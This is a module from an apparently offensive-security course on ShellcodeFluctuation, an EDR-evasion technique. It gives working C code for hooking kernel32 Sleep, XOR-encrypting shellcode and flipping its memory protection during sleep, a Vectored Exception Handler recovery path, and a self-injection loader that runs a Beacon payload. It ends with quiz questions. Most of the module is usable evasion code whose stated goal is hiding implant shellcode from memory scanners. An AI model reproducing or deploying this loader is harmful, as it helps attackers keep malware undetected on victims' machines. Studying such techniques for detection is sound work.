Difficulty: Intermediate

Module 5: The Fluctuation Algorithm

The complete encrypt-sleep-decrypt cycle assembled into a coherent algorithm, including both fluctuation modes.

Module Objective

Assemble all components from previous modules into the complete ShellcodeFluctuation algorithm. Understand the exact sequence of operations for both Mode 1 (PAGE_READWRITE) and Mode 2 (PAGE_NOACCESS), the initialization procedure, the global state management, and the edge cases that must be handled.

1. Global State Structure

ShellcodeFluctuation maintains global state that coordinates all components. This state is initialized once at startup and referenced on every sleep cycle:

// Fluctuation mode selection
enum FluctuationMode {
    FluctNone     = 0,   // No fluctuation (baseline)
    FluctRW       = 1,   // Mode 1: PAGE_READWRITE during sleep
    FluctNA       = 2    // Mode 2: PAGE_NOACCESS during sleep
};

// Global fluctuation state
struct FluctuationState {
    // Shellcode region info
    LPVOID      shellcodeBase;     // Base address of shellcode allocation
    SIZE_T      shellcodeSize;     // Size of shellcode region

    // Encryption
    DWORD       xorKey;            // 32-bit XOR key (random per run)

    // Hook state
    LPVOID      sleepFunc;         // Address of kernel32!Sleep
    BYTE        originalBytes[16]; // Saved original function prologue
    BYTE        hookBytes[16];     // The JMP instruction bytes
    SIZE_T      hookSize;          // Number of bytes overwritten

    // Configuration
    FluctuationMode mode;          // RW or NA mode
};

FluctuationState g_state = { 0 };

2. Initialization Sequence

Before the shellcode begins executing, ShellcodeFluctuation must set up all components. The initialization is performed by the loader that injects the shellcode:

BOOL InitializeFluctuation(
    LPVOID shellcodeBase,
    SIZE_T shellcodeSize,
    FluctuationMode mode
) {
    // Step 1: Store shellcode region info
    g_state.shellcodeBase = shellcodeBase;
    g_state.shellcodeSize = shellcodeSize;
    g_state.mode = mode;

    // Step 2: Generate random XOR key
    srand(GetTickCount());
    g_state.xorKey = ((DWORD)rand() << 16) | (DWORD)rand();
    if (g_state.xorKey == 0) g_state.xorKey = 0xDEADBEEF;

    // Step 3: Resolve kernel32!Sleep
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    g_state.sleepFunc = (LPVOID)GetProcAddress(hKernel32, "Sleep");
    if (!g_state.sleepFunc) return FALSE;

    // Step 4: Install inline hook on Sleep
    g_state.hookSize = 14;  // Size of absolute JMP on x64
    memcpy(g_state.originalBytes, g_state.sleepFunc, g_state.hookSize);

    DWORD oldProt;
    VirtualProtect(g_state.sleepFunc, g_state.hookSize,
                   PAGE_EXECUTE_READWRITE, &oldProt);

    // Write absolute JMP to MySleep
    WriteAbsoluteJmp((BYTE*)g_state.sleepFunc, (LPVOID)MySleep);

    // Save hook bytes for re-installation
    memcpy(g_state.hookBytes, g_state.sleepFunc, g_state.hookSize);

    VirtualProtect(g_state.sleepFunc, g_state.hookSize,
                   oldProt, &oldProt);

    // Step 5: Register VEH if Mode 2
    if (mode == FluctNA) {
        AddVectoredExceptionHandler(1, VehHandler);
    }

    return TRUE;
}

3. Mode 1: The Complete RW Cycle

Mode 1 is the primary fluctuation mode. Here is the complete algorithm with every step annotated:

void WINAPI MySleep_Mode1(DWORD dwMilliseconds) {
    // ============================================
    // PHASE 1: PROTECT (RX -> RW)
    // ============================================
    // Remove execute permission from shellcode.
    // After this, the shellcode region cannot execute
    // but CAN be written to (for encryption).
    DWORD oldProt;
    VirtualProtect(
        g_state.shellcodeBase,
        g_state.shellcodeSize,
        PAGE_READWRITE,          // Writable, not executable
        &oldProt                 // Saves PAGE_EXECUTE_READ
    );

    // ============================================
    // PHASE 2: ENCRYPT
    // ============================================
    // XOR-encrypt the entire shellcode region.
    // After this, the content is random-looking garbage.
    xor32(
        (BYTE*)g_state.shellcodeBase,
        g_state.shellcodeSize,
        g_state.xorKey
    );

    // ============================================
    // PHASE 3: UNHOOK SLEEP
    // ============================================
    // Restore original bytes to kernel32!Sleep.
    // This removes evidence of our hook from kernel32.
    DWORD hookProt;
    VirtualProtect(
        g_state.sleepFunc,
        g_state.hookSize,
        PAGE_EXECUTE_READWRITE,
        &hookProt
    );
    memcpy(g_state.sleepFunc, g_state.originalBytes, g_state.hookSize);
    VirtualProtect(
        g_state.sleepFunc,
        g_state.hookSize,
        hookProt,
        &hookProt
    );

    // ============================================
    // PHASE 4: SLEEP
    // ============================================
    // Call the real, unhooked Sleep.
    // During this time:
    //   - Shellcode is RW + encrypted (invisible to scanners)
    //   - kernel32!Sleep is clean (no hook IOC)
    //   - Only the loader code + MySleep on the stack
    Sleep(dwMilliseconds);

    // ============================================
    // PHASE 5: RE-HOOK SLEEP
    // ============================================
    // Reinstall our hook for the next sleep cycle.
    VirtualProtect(
        g_state.sleepFunc,
        g_state.hookSize,
        PAGE_EXECUTE_READWRITE,
        &hookProt
    );
    memcpy(g_state.sleepFunc, g_state.hookBytes, g_state.hookSize);
    VirtualProtect(
        g_state.sleepFunc,
        g_state.hookSize,
        hookProt,
        &hookProt
    );

    // ============================================
    // PHASE 6: DECRYPT
    // ============================================
    // XOR-decrypt the shellcode back to plaintext.
    xor32(
        (BYTE*)g_state.shellcodeBase,
        g_state.shellcodeSize,
        g_state.xorKey
    );

    // ============================================
    // PHASE 7: UNPROTECT (RW -> RX)
    // ============================================
    // Restore execute permission so shellcode can run.
    VirtualProtect(
        g_state.shellcodeBase,
        g_state.shellcodeSize,
        PAGE_EXECUTE_READ,       // Executable, not writable
        &oldProt
    );

    // Execution returns to the Beacon shellcode.
    // It continues from where it called Sleep().
}

Mode 1: Complete 7-Phase Cycle

1. RX→RW

→

2. Encrypt

→

3. Unhook

→

4. Sleep

→

5. Rehook

→

6. Decrypt

→

7. RW→RX

4. Mode 2: The Complete NOACCESS Cycle

Mode 2 uses PAGE_NOACCESS during sleep and relies on a Vectored Exception Handler for recovery:

void WINAPI MySleep_Mode2(DWORD dwMilliseconds) {
    // PHASE 1: RX -> RW (needed for encryption)
    DWORD oldProt;
    VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                   PAGE_READWRITE, &oldProt);

    // PHASE 2: Encrypt
    xor32((BYTE*)g_state.shellcodeBase, g_state.shellcodeSize,
          g_state.xorKey);

    // PHASE 3: RW -> NOACCESS (maximum protection)
    VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                   PAGE_NOACCESS, &oldProt);

    // PHASE 4: Unhook + Sleep + Rehook (same as Mode 1)
    DWORD hookProt;
    VirtualProtect(g_state.sleepFunc, g_state.hookSize,
                   PAGE_EXECUTE_READWRITE, &hookProt);
    memcpy(g_state.sleepFunc, g_state.originalBytes, g_state.hookSize);
    VirtualProtect(g_state.sleepFunc, g_state.hookSize, hookProt, &hookProt);

    Sleep(dwMilliseconds);

    VirtualProtect(g_state.sleepFunc, g_state.hookSize,
                   PAGE_EXECUTE_READWRITE, &hookProt);
    memcpy(g_state.sleepFunc, g_state.hookBytes, g_state.hookSize);
    VirtualProtect(g_state.sleepFunc, g_state.hookSize, hookProt, &hookProt);

    // PHASE 5: Recovery happens automatically via VEH
    // When MySleep returns, execution flows back to the shellcode.
    // The first instruction the shellcode executes triggers an
    // access violation (PAGE_NOACCESS), which the VEH catches.
    // The VEH decrypts and restores RX permissions.
}

// The VEH that handles recovery
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS pExInfo) {
    if (pExInfo->ExceptionRecord->ExceptionCode != EXCEPTION_ACCESS_VIOLATION)
        return EXCEPTION_CONTINUE_SEARCH;

    PVOID faultAddr = pExInfo->ExceptionRecord->ExceptionAddress;

    // Check if fault is in our shellcode region
    if (faultAddr >= g_state.shellcodeBase &&
        faultAddr < (BYTE*)g_state.shellcodeBase + g_state.shellcodeSize) {

        // Decrypt and restore
        DWORD oldProt;
        VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                       PAGE_READWRITE, &oldProt);
        xor32((BYTE*)g_state.shellcodeBase, g_state.shellcodeSize,
              g_state.xorKey);
        VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                       PAGE_EXECUTE_READ, &oldProt);

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

5. State Diagram: Memory During Each Phase

Phase	Protection	Content	Hook	Scannable?
Normal execution	PAGE_EXECUTE_READ	Cleartext	Installed	Yes (but brief)
After Phase 1	PAGE_READWRITE	Cleartext	Installed	Content yes, not flagged as exec
After Phase 2	PAGE_READWRITE	Encrypted	Installed	No — encrypted + non-exec
After Phase 3	PAGE_READWRITE	Encrypted	Removed	No — encrypted + no hook
During sleep	PAGE_READWRITE	Encrypted	Removed	Maximally hidden
After Phase 5	PAGE_READWRITE	Encrypted	Installed	No — still encrypted
After Phase 6	PAGE_READWRITE	Cleartext	Installed	Content yes, not flagged as exec
After Phase 7	PAGE_EXECUTE_READ	Cleartext	Installed	Yes (entering active window)

6. Critical Ordering Constraints

The order of operations in the fluctuation cycle is not arbitrary. Several ordering constraints must be respected:

Ordering Rules

Encrypt BEFORE unhook — if you unhook first and then try to encrypt, the shellcode is still RX. You must flip to RW before encrypting, and both must happen before unhooking
Decrypt BEFORE flipping to RX — if you restore RX first, the CPU may speculatively execute encrypted garbage. Decrypt while still RW
Rehook BEFORE decrypt — the hook must be in place before the shellcode resumes execution, because the next Sleep call must be intercepted
VirtualProtect BEFORE XOR on encrypt path — you need RW permission to write encrypted bytes
VirtualProtect AFTER XOR on decrypt path — restore executable permission only after content is valid code

7. Error Handling

The fluctuation algorithm must handle errors gracefully. A failure in any phase could leave the shellcode in an inconsistent state:

void WINAPI MySleep_Robust(DWORD dwMilliseconds) {
    DWORD oldProt;

    // Phase 1: Flip to RW
    if (!VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                        PAGE_READWRITE, &oldProt)) {
        // CRITICAL: Cannot flip protection. Fall through to
        // original sleep without fluctuation.
        Sleep(dwMilliseconds);
        return;
    }

    // Phase 2: Encrypt
    xor32((BYTE*)g_state.shellcodeBase, g_state.shellcodeSize,
          g_state.xorKey);

    // Phase 3: Unhook (best-effort)
    UnhookSleep();

    // Phase 4: Sleep
    Sleep(dwMilliseconds);

    // Phase 5: Rehook (must succeed or shellcode loses control)
    RehookSleep();

    // Phase 6: Decrypt
    xor32((BYTE*)g_state.shellcodeBase, g_state.shellcodeSize,
          g_state.xorKey);

    // Phase 7: Flip back to RX
    if (!VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                        PAGE_EXECUTE_READ, &oldProt)) {
        // CRITICAL: Cannot restore execute. Shellcode will crash.
        // Attempt PAGE_EXECUTE_READWRITE as fallback.
        VirtualProtect(g_state.shellcodeBase, g_state.shellcodeSize,
                       PAGE_EXECUTE_READWRITE, &oldProt);
    }
}

8. The Self-Injection Loader

ShellcodeFluctuation includes a loader that performs the initial injection and sets up the fluctuation mechanism before handing control to the shellcode:

int main() {
    // Step 1: Read shellcode from file or embedded resource
    BYTE* shellcode = ReadShellcodeFromFile("beacon.bin");
    SIZE_T shellcodeSize = GetShellcodeSize();

    // Step 2: Allocate RW memory for shellcode
    LPVOID shellcodeBase = VirtualAlloc(
        NULL,
        shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE           // Start as RW for writing
    );

    // Step 3: Copy shellcode into allocation
    memcpy(shellcodeBase, shellcode, shellcodeSize);

    // Step 4: Change to executable
    DWORD oldProt;
    VirtualProtect(shellcodeBase, shellcodeSize,
                   PAGE_EXECUTE_READ, &oldProt);

    // Step 5: Initialize fluctuation (installs Sleep hook)
    InitializeFluctuation(shellcodeBase, shellcodeSize, FluctRW);

    // Step 6: Execute shellcode in new thread
    HANDLE hThread = CreateThread(
        NULL, 0,
        (LPTHREAD_START_ROUTINE)shellcodeBase,
        NULL, 0, NULL
    );

    // Wait for shellcode to finish
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

Separation of Concerns

The loader code runs in the main thread and sets up the environment. The shellcode runs in a separate thread. When the shellcode calls Sleep, the hook handler (MySleep) executes in the shellcode's thread context. This is important because the VirtualProtect and XOR operations affect memory that the calling thread will return to — it must be the same thread.

Knowledge Check

Q1: In the Mode 1 fluctuation cycle, what is the state of the shellcode memory during the actual sleep?

A) PAGE_EXECUTE_READ + cleartext

B) PAGE_READWRITE + encrypted, with Sleep hook removed

C) PAGE_NOACCESS + encrypted

D) PAGE_EXECUTE_READWRITE + encrypted

Q2: Why must the Sleep hook be reinstalled (Phase 5) BEFORE decrypting the shellcode (Phase 6)?

A) The hook must be in place to intercept the next Sleep call when the shellcode resumes

B) Decryption requires the hook bytes as a key

C) The hook provides the return address for the shellcode

D) Windows requires hooks during memory protection changes

Q3: How does Mode 2 differ from Mode 1 in the recovery (wake) path?

A) Mode 2 uses a timer callback to decrypt

B) Mode 2 decrypts in the main thread instead of the shellcode thread

C) Mode 2 does not need to decrypt because NOACCESS pages auto-restore

D) Mode 2 uses a Vectored Exception Handler that triggers on the first access violation when shellcode tries to execute

← Prev: Sleep Function Hooking Next: Shellcode Region Tracking →